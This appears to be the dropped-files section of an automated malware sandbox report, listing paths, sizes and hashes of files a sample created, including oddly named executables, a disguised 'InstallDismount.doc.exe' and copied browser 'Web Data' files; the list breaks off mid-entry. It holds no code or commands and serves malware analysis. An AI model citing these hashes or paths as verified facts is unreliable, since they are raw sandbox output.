82a9a3fc7dfae0ed6bf665c4f369f053af372551c1871d6b3dc775f447ba727e921ab831f8acd712cc31b66156eac643859404f05386e2592a15954fb78d87a3

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.003.png

Filesize
3KB

MD5
95113a3147eeeb845523bdb4f6b211b8

SHA1
f817f20af3b5168a61982554bf683f3be0648da1

SHA256
800f0c501905bc4257415ee8bed738f897273600c721e80a15bcfbb2e2b3b847

SHA512
4e55d9ced90f255b20890595f8e07ccaeedcbe08aed6303336eae7f66df1e50429259b62c556d5d8b179f7f9be22216c1592ba772e2cebd257b3401109f45cc4

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.004.png

Filesize
3KB

MD5
8ce29c28d4d6bda14b90afb17a29a7f9

SHA1
94a28ce125f63fcd5c7598f7cb9e183732ebdc16

SHA256
eb9abbeddd27ce6fa82f1f7437309209450f9f8412eb395923a45d946d9c50b1

SHA512
037babd109af1a2c05d7db87536bec41e3075d1120a37384d66f9460d8790be5732f8bbe6a2a13db3d017806fed88945f2a98697b586284b62760252276a8077

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.005.png

Filesize
3KB

MD5
83ddcf0464fd3f42c5093c58beb8f941

SHA1
e8516b6468a42a450235bcc7d895f80f4f1ca189

SHA256
ebb3efda95b2d2588983742f96f51bdbcb9d87a6949f2c37ea11f509d236a536

SHA512
51a6925bc9558f9ba232b85623d78f975d1c18c1990ce62153aa57a742e0897c72fc0665213024f8d5af96e56cc47eb384ee8d231910fdef876a0889b52a59d8

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.006.png

Filesize
3KB

MD5
6f530b0a64361ef7e2ce6c28cb44b869

SHA1
ca087fc6ed5440180c7240c74988c99e4603ce35

SHA256
457626948266abd4f0dcda6a09c448bb20cce3596b52076b8d90e1c626037dc9

SHA512
dc3d809eab3bfa7c65c35a36d55097e09fbefa2f6de962ae02c58540f6c88b3ca9be3361f3ec37b8ce7927e020463055c455f2e93baa3a3c12096b55abcab6d3

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.007.png

Filesize
4KB

MD5
aac6fc45cfb83a6279e7184bcd4105d6

SHA1
b51ab2470a1eedad86cc3d93152360d72cb87549

SHA256
a59bb83276f003dd149c2143a5a70f012212c709e72af283209adfb85a0835b1

SHA512
7020ba8d918398bc2d5e6ea4aaea007d576d4c3577adab80259336505b06e8163d0afde5a7b4d802ba2dab9ec9c757e88eb37780246c35d38e5fed8648bbf3a1

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.008.png

Filesize
4KB

MD5
fa73c710edc1f91ecacba2d8016c780c

SHA1
19fafe993ee8db2e90e81dbb92e00eb395f232b9

SHA256
cca9c6b8e0df9e09523ab59021ffff62b29273cae487335c87b569e8483aaae2

SHA512
f73b2ee270348247db1d7fea937cd69125afa6aef926dc5c1cef14b955630711fe106d56270172448d739014ae4fd7d221007aaa422b3625aa524b812baa10a2

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.009.png

Filesize
4KB

MD5
3faefb490e3745520c08e7aa5cc0a693

SHA1
357ffa8b2d4797d8d6cf67c0c84818ebc746ce0a

SHA256
6ba5254c0b10b6939d5cd80f3ab87757143896d20fd8e014c3fcca35657e076b

SHA512
714d9d32ab070a992d84dc597a086afb7fe040300c33c25f9acdd27f5f8894145a5f9f8654b522c04a9cb1babeb25000fac25b01b1c820d4cfe8d67e40cd72a7

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.010.png

Filesize
3KB

MD5
1bed8b0629ce72b595017371336ac688

SHA1
9180c6c3d0bdd3470fa38854de8af238bcc31d42

SHA256
a8cc3da0e5b87f10e6acd766bbd096dbe40ca60507867ec8ea66c56436fa6cd7

SHA512
4483b0ac1e83ef94f982aa7cf92767a24165060e1d492a87290a2301bcd2654e1c2e5d5cd637151408cac576d74d529b7d05e7e12b27e02afd17e24029a92ceb

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.011.png

Filesize
3KB

MD5
c9eccb5ce7e65fd1eff7aba4a6fd43e8

SHA1
cd71011e1172a157627e1595cc7ce4888370a765

SHA256
a4045f846f5b3bb0856dbfdca78b5871433beefccb1416a2824e8dccce9f5975

SHA512
3b07f14cbc06f2a4a75067e09c04c760af324ebe2de5c51c88648b184337aad48d319c2753bc9987ebb2094719d92a0f87d7c0fd84c4d893dd8351e7dc6de3f8

Download Submit
C:\Program Files (x86)\rover\Tired\Tired.001.png

Filesize
4KB

MD5
136be0b759f73a00e2d324a3073f63b7

SHA1
b3f03f663c8757ba7152f95549495e4914dc75db

SHA256
c9b925e1f1409ddaa3aadf1ae7c2fb3310b69fb931190b7dc2f274f517fe38fc

SHA512
263911753deffbce295dda3f311225edeb375555b1db2771477167600573bea78719f6294960dc5c5d95885194412dd0f133bae75a30e16556377263165b3723

Download Submit
C:\Program Files (x86)\rover\Tired\Tired.002.png

Filesize
4KB

MD5
f8f8ea9dd52781d7fa6610484aff1950

SHA1
973f8c25b7b5e382820ce479668eac30ed2f5707

SHA256
209e9d1fb6a814edfa4f8128d4a2168b274ea0eeb965a57f3c8b9695417a1bf1

SHA512
4f4e379afff8850eec6e4f3d165eba60f6916569ee7561b8bbf5a6bfeda27dbbcc0687ce02bece412616204f89861d23a92055a226cea14a29c53c653919c094

Download Submit
C:\Program Files (x86)\rover\Tired\Tired.003.png

Filesize
4KB

MD5
fb73acc1924324ca53e815a46765be0b

SHA1
62c0a21b74e7b72a064e4faf1f8799ed37466a19

SHA256
5488954fe5b4d87dee40dd68cc1d940d2395a52dc52d1c77f40cd2342b97efd8

SHA512
ea3ba299ca07850af45a29e2f88aece9163c13f4921a1fc05d930c008bc017b698c9fb987120147465a53fe0c0848926f543081716d5f877efa5a34b10822895

Download Submit
C:\Program Files (x86)\rover\Tired\Tired.004.png

Filesize
4KB

MD5
6da7cf42c4bc126f50027c312ef9109a

SHA1
8b31ab8b7b01074257ec50eb4bc0b89259e63a31

SHA256
2ebdf7d755b442de775819b0bcfe7bdd06fda92f6ad36dcfdeaab107f58f23df

SHA512
5c9783a8c14c6654db2a9a7818d4376fc3b2aeab9820539d20353018d90f734652ebba8052184b62f0e17f8f094da28c2bdfc73a0c707036fb5f923ed25625d9

Download Submit
C:\Program Files (x86)\rover\Tired\Tired.005.png

Filesize
4KB

MD5
d9d3c74ac593d5598c3b3bceb2f25b1d

SHA1
df14dee30599d5d6d67a34d397b993494e66700e

SHA256
2cba290a8c42f664a0e1a8e571e27bc846024fa7da9f7adc773a471ef74046bc

SHA512
de70858da11efb89e7db55762827f8c1d4b55aff14faea8ffd8a5f15d32d6956f6ca4a3fdd9ffd75906a818af81ba9c7ef056df7c8cec4076308df94ff3207ac

Download Submit
C:\Program Files (x86)\rover\Tired\Tired.006.png

Filesize
4KB

MD5
3071c94f1209b190ec26913a36f30659

SHA1
d76fbfbc4ddd17383b6a716f24d137a8dc7ff610

SHA256
89868008f5e5c55e5dd5982c15f105d11b9d3603ab45395dde0ec1c5ce61e683

SHA512
bd21f269dd92ab826caa6085bf79f17b6c9b6c4b660d03913295611bae590f277a9a0a0e39fa281737fcd9cfbbb6a5c8f02287d316954badca394e730bad72f4

Download Submit
C:\Program Files (x86)\rover\_1Idle\_1Idle.003.png

Filesize
3KB

MD5
533bc8e9ad951ba6d05c35a829e89156

SHA1
2709a1e51dcfa820a064ee3f0f34dea9cbc4fdee

SHA256
0827a66c31995a144229ca6b9bee27de94fd5bba937d25efde961dfa544d5c91

SHA512
d1d31f38686caacbe9453cc92c0bb88c4b085903b7b8eb455241839bec6b5ec4de0a0747cdfbcccb7468bb3bc6ca654e34a748762bb1a71e8e4b90285d397201

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.0MB

MD5
569cc4045c5a10579588bd6976699b2a

SHA1
81fa0084f6302c07e50a2b76c887985a8b1d0f26

SHA256
27805ce68ce323c0639cc666f6b26af7707c881e94bbb8fb0fa9465c4a03cf86

SHA512
ef3f9f9ed2d825b87ed0b4f78dc21ad7ecbb8735cf8a4978af57f749e8d19f9a779c6c428dc06854d3b15ab04bd7b3d44db693462052073f9f964e8a17619bf4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
82f6e025a3ca137599c37b6014159ff1

SHA1
0c8223a834e6bbaebc6379fa61b6542f04047637

SHA256
d0f9692c4df64303c8b222609ebc2f13c6d2a0fa7d0d544714f4462644a9ac44

SHA512
9e13cc3c64b2cba986e73d3dea627c707ff823bc19a4413ef47bb649dae2d17e911e2f9db9bf51aa903ebd032294d558348c555b789b0837047bf64214de226d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
de47c3995ae35661b0c60c1f1d30f0ab

SHA1
6634569b803dc681dc068de3a3794053fa68c0ca

SHA256
4d063bb78bd4fa86cee3d393dd31a08cab05e3539d31ca9f0a294df754cd00c7

SHA512
852a9580564fd4c53a9982ddf36a5679dbdce55d445b979001b4d97d60a9a688e532821403322c88acc42f6b7fa9cc5e964a79cbe142a96cbe0f5612fe1d61cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
704d4cabea796e63d81497ab24b05379

SHA1
b4d01216a6985559bd4b6d193ed1ec0f93b15ff8

SHA256
3db2f8ac0fb3889fcf383209199e35ac8380cf1b78714fc5900df247ba324d26

SHA512
0f4803b7b7396a29d43d40f971701fd1af12d82f559dcfd25e0ca9cc8868a182acba7b28987142c1f003efd7dd22e474ac4c8f01fe73725b3618a7bf3e77801d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

Filesize
151B

MD5
bd6b60b18aee6aaeb83b35c68fb48d88

SHA1
9b977a5fbf606d1104894e025e51ac28b56137c3

SHA256
b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

SHA512
3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
116KB

MD5
3ba56208984185b2ddb083b80e3f62fb

SHA1
735d9ba9915889350c30052179e7910c3e107c5d

SHA256
29088492b1bb84463b732ba41a506b5dd89e6cd028fb2930fe5d6fe62263f8b3

SHA512
acb670049a9ab552815a55fb670f41a243cfb32bf18ed2407b95e34bb3f79ced7e84874e62d20268b184747d9420d730ea2ceef09839ad07cf438d276e0e42c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
b4fe685da8be2bdce30681a147dd13b5

SHA1
89d7d9b4a186c00f4e98f910c580e8b586fb86a4

SHA256
a2fe3a65bebfb310a2b8032ab89795e96888f3a2f420ec512d2be70650078c19

SHA512
ab6bad37be88c0e291590049f99eaa25501b32f290e03b1914eb2fcc2e2ba818206eb60c26b5829d8d4be43f3db338b86b786e576c3c91a7a833403fd8359ba1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
4d6e7834b0ae4146072ae3d4df0163ea

SHA1
8d3ec56b18bea909bbe90c2d4cf4d5f6cceca188

SHA256
f00b8f0fbbf625a2c64c2ed68aef827932e45617f03111ee98de98af3969e007

SHA512
591c13e720eea30af7f77bbe2bea78e431b523f70fe35ea9025f98c40f10e152e34a254293d04a8f49e87bc44c344d54ffc42c6150cdcc4a9d2aa0a1c11d5c33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1c47a89558228d0a17df5b96b7790c31

SHA1
4462634c8f578617becd27df74c9667cf4de21a5

SHA256
038ed3216dc013f58417b297b47cd35096a80b1e4feb84bac37337667fd8aa6c

SHA512
92e1b1a3343434b85578d795f3ce9a7432417664475fd7c59575edc6fe8c6ad95ab0bd6c327087b5cc6979858cb7c094a5f0ee8f01054655bb177ab6af5363a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

Filesize
830B

MD5
e6edb41c03bce3f822020878bde4e246

SHA1
03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9

SHA256
9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454

SHA512
2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS2045.tmp\Install.exe

Filesize
6.4MB

MD5
220a02a940078153b4063f42f206087b

SHA1
02fc647d857573a253a1ab796d162244eb179315

SHA256
7eb93d93b03447a6bafd7e084305d41bf9780bd415cb2e70020952d06f3d7b60

SHA512
42ac563a7c28cbf361bfb150d5469f0278ab87ce445b437eef8425fb779689d70230b550815f30f9db2909c1ba0dd015b172dfe3e718d26706856f4cb0eeeeaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zu1s2oqd.vjf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file-20906.putik

Filesize
33KB

MD5
aa05d2dc104b01435ebc2c604bfae457

SHA1
05a87d06193b511f986065715f1ce4640ec647d7

SHA256
a818ee865e238d92884e8582191736276fd299ec863165653028c7e6bc592363

SHA512
0364867166133e5de6e60cdb88958692fb2407cb8a2fe08236ff10cb961bf97be4b7d51823c70a741920e58fba5156600a6b6224dc34bc2414d162096ebcff2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\spanReZV_qXnFs9e\7pVssoRR_gaioDJx0EHG.exe

Filesize
457KB

MD5
f14b083f53fefd0071732bf5c0dcd6fa

SHA1
661566e9131c39a1b34cabde9a14877d9bcb3d90

SHA256
2a7b010296f77bc811cdb2802dc11b7da7e486a3c7cdbb6b2783b12b828bd57d

SHA512
889804f0872d7882eb9160ea4b0ef7e86079006965b988bb5426f36cb2b9b354f03c411759ff74d91905eaa67b88ea5f11be76b5f0f4f47b8aa9b53fcb9fbcdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\spanReZV_qXnFs9e\FTMGG3BIlnJIWeb Data

Filesize
100KB

MD5
138b29af6ec2bbe34e004ce3343d5a00

SHA1
4baa218636ecd58cc6a6f4acbf6b2af3c91a7032

SHA256
305650b63c382d5c6a4c69ab276f6be3b5b52921727f46fb9d70df8be0ddf603

SHA512
7c3d85f62bb5a651157eab639b61f62c730bde8ddb353a5537b132df30e1b4cac94332d9756109a76add1d165cc61e82020dabbba299211a04f880c937507da3

Download Submit
C:\Users\Admin\AppData\Local\Temp\spanReZV_qXnFs9e\z5Z_tqglvLCJWeb Data

Filesize
112KB

MD5
87210e9e528a4ddb09c6b671937c79c6

SHA1
3c75314714619f5b55e25769e0985d497f0062f2

SHA256
eeb23424586eb7bc62b51b19f1719c6571b71b167f4d63f25984b7f5c5436db1

SHA512
f8cb8098dc8d478854cddddeac3396bc7b602c4d0449491ecacea7b9106672f36b55b377c724dc6881bee407c6b6c5c3352495ed4b852dd578aa3643a43e37c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\Macro_blank.png

Filesize
392B

MD5
d388dfd4f8f9b8b31a09b2c44a3e39d7

SHA1
fb7d36907e200920fe632fb192c546b68f28c03a

SHA256
a917ddc25d483b737296f945b8b7701a08d4692d0d34417fe1b590caac28359c

SHA512
2fcff4775a0e93c53b525b44aadefe4532efd790c504d0343626a7322a7c99073ed645eb08bd13b31e752e09c13f07b74e43f0eb1c46be082efc948b34364401

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\Rover.exe

Filesize
5.1MB

MD5
63d052b547c66ac7678685d9f3308884

SHA1
a6e42e6a86e3ff9fec137c52b1086ee140a7b242

SHA256
8634e9241729f16a8c2c23d5c184384815b97026e3d1a2d6dd0ddc825b142aba

SHA512
565b9243ec14dc1cf6f6ddf4a7158e208937f553367e55cd59f62f1834fcfb7d9fb387b0636dc07520f590dcd55eb5f60f34ea2279dc736f134db7b19e3aa642

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\ac3.exe

Filesize
844KB

MD5
7ecfc8cd7455dd9998f7dad88f2a8a9d

SHA1
1751d9389adb1e7187afa4938a3559e58739dce6

SHA256
2e67d5e7d96aec62a9dda4c0259167a44908af863c2b3af2a019723205abba9e

SHA512
cb05e82b17c0f7444d1259b661f0c1e6603d8a959da7475f35078a851d528c630366916c17a37db1a2490af66e5346309177c9e31921d09e7e795492868e678d

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\helper.vbs

Filesize
26B

MD5
7a97744bc621cf22890e2aebd10fd5c8

SHA1
1147c8df448fe73da6aa6c396c5c53457df87620

SHA256
153fed1733e81de7f9d221a1584a78999baa93bc8697500d8923550c774ed709

SHA512
89c73b73d4b52cf8e940fa2f1580fdc89f902b1eeb4b2abc17f09229a6130532a08cdb91205b9813a65cb7cd31ca020fe728b03d9a0fabb71131864c2966f967

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\install.exe

Filesize
878B

MD5
1e800303c5590d814552548aaeca5ee1

SHA1
1f57986f6794cd13251e2c8e17d9e00791209176

SHA256
7d815f37d808bc350a3c49810491d5df0382409347ebae7a3064a535d485c534

SHA512
138009bc110e70983d2f7f4e0aba0ee7582b46491513aae423461b13c5a186efcf8cdf82a91980302d1c80e7bae00e65fb52a746a0f9af17a8eb663be04bb23e

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\jaffa.exe

Filesize
512KB

MD5
6b1b6c081780047b333e1e9fb8e473b6

SHA1
8c31629bd4a4ee29b7ec1e1487fed087f5e4b1de

SHA256
e649b6e4284404bfa04639b8bf06367777c48201ef27dcdc256fe59167935fac

SHA512
022d40c1801fa495c9298d896221c8eefbad342d41922df8d014f2f49c3fe7fa91d603e0ee0de6be6f2143f9e0c4a6756b19260166ebd62ec3e1c64ad22bc447

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\loader.exe

Filesize
5KB

MD5
3a66b8c04d1437b4c4da631053a76bb5

SHA1
bcf8f381932d376f3f8e53c82b2b13ff31ee097b

SHA256
c3aa0c8ff9e3c7e10bcd3829f3e63b4cf9c59eb4964a7576f3ef5fca50c77cdc

SHA512
b24f3fb34aa293293d4f7bef247ca746608cb9ae54d214492276e7ef0fe0032944ea082f2bbf42f200359d38ed2af69f51ef5f3cb969a0ffb7176b27e0279fcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\main.cmd

Filesize
1KB

MD5
450ec47ae7862c0f7fb5927e2d74147c

SHA1
466777ca4b45c5b051883402963d5c6e90eb2499

SHA256
400fe7836c1861ac9a26d34e147d9fdc7864bae3e6106e23ac40490748724406

SHA512
a5798f88ab4484bd8d68827ed1bbd67572c1c79f0723a7ccd41e853b065e7dbafa3c4ae824390f2f9882a9fff4fb41d20942251f1037eb63c006675408022e3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\psiphon3.exe

Filesize
7.4MB

MD5
50b9d2aea0106f1953c6dc506a7d6d0a

SHA1
1317c91d02bbe65740524b759d3d34a57caff35a

SHA256
b0943c4928e44893029025bcc0973e5c8d7dbf71cc40d199a03c563ecb9d687d

SHA512
9581a98853f17226db96c77ae5ef281d8ba98cbc1db660a018b4bf45c9a9fb6c5a1aaaf4c2bae5d09f78a569ecb3e8162a4b77a9649a1f788a0dbdde99bd596c

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\scary.exe

Filesize
3.1MB

MD5
97cd39b10b06129cb419a72e1a1827b0

SHA1
d05b2d7cfdf8b12746ffc7a59be36634852390bd

SHA256
6bc108ddb31a255fdd5d1e1047dcd81bc7d7e78c96f7afa9362cecbb0a5b3dbc

SHA512
266d5c0eb0264b82d703d7b5dc22c9e040da239aaca1691f7e193f5391d7bafc441aff3529e42e84421cf80a8d5fca92c2b63019c3a475080744c7f100ea0233

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\spinner.gif

Filesize
44KB

MD5
324f8384507560259aaa182eb0c7f94a

SHA1
3b86304767e541ddb32fdda2e9996d8dbeca16ed

SHA256
f48c4f9c5fc87e8d7679948439544a97f1539b423860e7c7470bd9b563aceab5

SHA512
cc1b61df496cfb7c51d268139c6853d05bace6f733bc13c757c87cd64a11933c3a673b97fba778e515a9ff5f8c4ea52e7091f3beda1d8452bc3f6b59382f300d

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\temp.bat

Filesize
16B

MD5
683678b879bd775b775240fcb1cd495e

SHA1
10bc596b3d03e1ba328068305c8acee2745c731c

SHA256
64f28aef02c7fafbc9d80735a8b1d607c3996a2ddf9ba260d4c433c002efeaba

SHA512
3b2b9d231643a826183732a79489c6d2f4749ce25314c444364062c781627af59b572c082d811ae57a839cae94de77cf03eb81d99e1063e2191e884ccbaa0963

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\the.exe

Filesize
764KB

MD5
e45dcabc64578b3cf27c5338f26862f1

SHA1
1c376ec14025cabe24672620dcb941684fbd42b3

SHA256
b05176b5e31e9e9f133235deb31110798097e21387d17b1def7c3e2780bbf455

SHA512
5d31565fbb1e8d0effebe15edbf703b519f6eb82d1b4685661ce0efd6a25d89596a9de27c7690c7a06864ce957f8f7059c8fdee0993023d764168c3f3c1b8da9

Download Submit
C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\web.htm

Filesize
212B

MD5
e81c57260456ac0df66ef4e88138bed3

SHA1
0304e684033142a96e049461c0c8b1420b8fb650

SHA256
4b22f2f0add8546487bd4f1cc6eba404ee5353c10cf0eae58ce5b664ca1e2485

SHA512
d73b58c087b660dc7d9f1c81828e4e6d7368bd3d702d6dcff719345d7d612685b1747979c89c483d35e480ded9666fdd2178452444b87e9f402ba01b0e43771c

Download Submit
C:\Users\Admin\AppData\Local\Temp\{F90164BA-361E-4642-8C41-32AFDA292D2F}.tmp\360P2SP.dll

Filesize
824KB

MD5
fc1796add9491ee757e74e65cedd6ae7

SHA1
603e87ab8cb45f62ecc7a9ef52d5dedd261ea812

SHA256
bf1b96f5b56be51e24d6314bc7ec25f1bdba2435f4dfc5be87de164fe5de9e60

SHA512
8fa2e4ff5cbc05034051261c778fec1f998ceb2d5e8dea16b26b91056a989fdc58f33767687b393f32a5aff7c2b8d6df300b386f608abd0ad193068aa9251e0d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
209B

MD5
b1cefafb03065339e24eed313a0fac7f

SHA1
a5dc7d197c29dcef1c5aa03d901b5bd8d5bbb42d

SHA256
a49f061a098c0f192f2bf918cd7c54e6c4223c96ba3846afa429e7d16a8e8317

SHA512
f731e7b2046d0158610e291f2ef86c0f86b22b809fb1dc635aa55446579ba1a6ca2f9636d64d48556494e05bac7749011f4e84330c82da5bcfcea7e9867c4415

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Speech\Files\UserLexicons\SP_53150BC1ECA6416C8953CEB55A759191.dat

Filesize
940B

MD5
eeff96a0bb69aacf979a5aa22d01e8ba

SHA1
75110a5d1d68450da580365b90c7f7ec038259e2

SHA256
4a3b75ed948966ebec5336a291181d35315e630377ddbf933aa9d7f426473f62

SHA512
6540e1b8622f7218bb8723d0027dc33c9084e038737fc711db0c5938b5d5b568aaf79ee08a2a4629860b852fa3bc1eccd48a44b5f0dd914eedb8fdbb56a24134

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\places.sqlite

Filesize
5.0MB

MD5
b7676e226c2c9c0c4bc3e135b6fa8427

SHA1
2422e440a561ea8c90b9175f0574d46e10b25e91

SHA256
3d528c4521dad90a903627828b42336ca144aa58ed949b5f1ff67705f7e21e64

SHA512
a0c1177600e9593e6eee73b488a044c65e6d3982423bf57587ec8b87f80c16196ed20ff9d7ce6bbee8434dff5dd3672439b92eb9f394e7e821efdd87f5515c27

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\prefs.js

Filesize
7KB

MD5
299d2e2b3e0968d1f8a93028852773ab

SHA1
bc6f4d41a3256f3f91c5a1c4a72102e2ca9cd793

SHA256
15a4910643c3e9e902a5952038a135197ec8866e03472e885aa1907231376b19

SHA512
80b5fc00f0aad2cd092b6933f89472a90cdc8dcc2f0085bd0d76b67d0f0c811be1b5e876bd69393408f5f27aa7b1a9a6c20ed53954b83b70fe914827446508e2

Download Submit
C:\Users\Admin\Documents\InstallDismount.doc.exe

Filesize
512KB

MD5
3e1c7486f2d5be3b748c7ffafac5a9f2

SHA1
d16b746bbce1d99ca8b3afecb10fcc6502608733

SHA256
58351026ba033aec075b077c6ccf3551e3637f33e4399d9cd04ef14df65e4548

SHA512
054e0eeee02b82dd15befe4e03ad7d57f141c6eed40c250c21c556bd924211bb3d05ef7ee44cba98977b9bf7b3c2209777214dfd25121d6c1093a5782f6c025b

Download Submit
C:\Users\Admin\Documents\SimpleAdobe\0W6F2qa3s0yBmnZfURIS9ESf.exe

Filesize
3.0MB

MD5
bdf1e6526d0d80a4538d05b46d5bd618

SHA1
74e370b0f0e89e87160e9abd6dff8040e26c8494

SHA256
aac82f4bbba43d25e8b3a79dcab79596ecc309160f8c27772145891d17edc497

SHA512
28682d79fe5042640c6c2aa371d5ce7ba726605bdb64353113dba8635117d4767a9f83d2c07a0a74431fabde298de3685b31d5cedfe52190af4e17591c2896ff

Download Submit
C:\Users\Admin\Documents\SimpleAdobe\DYem_2FIf1r0PVF_OPl9rHj7.exe

Filesize
272KB

MD5
f9a19936f176a9193a051547997c021a

SHA1
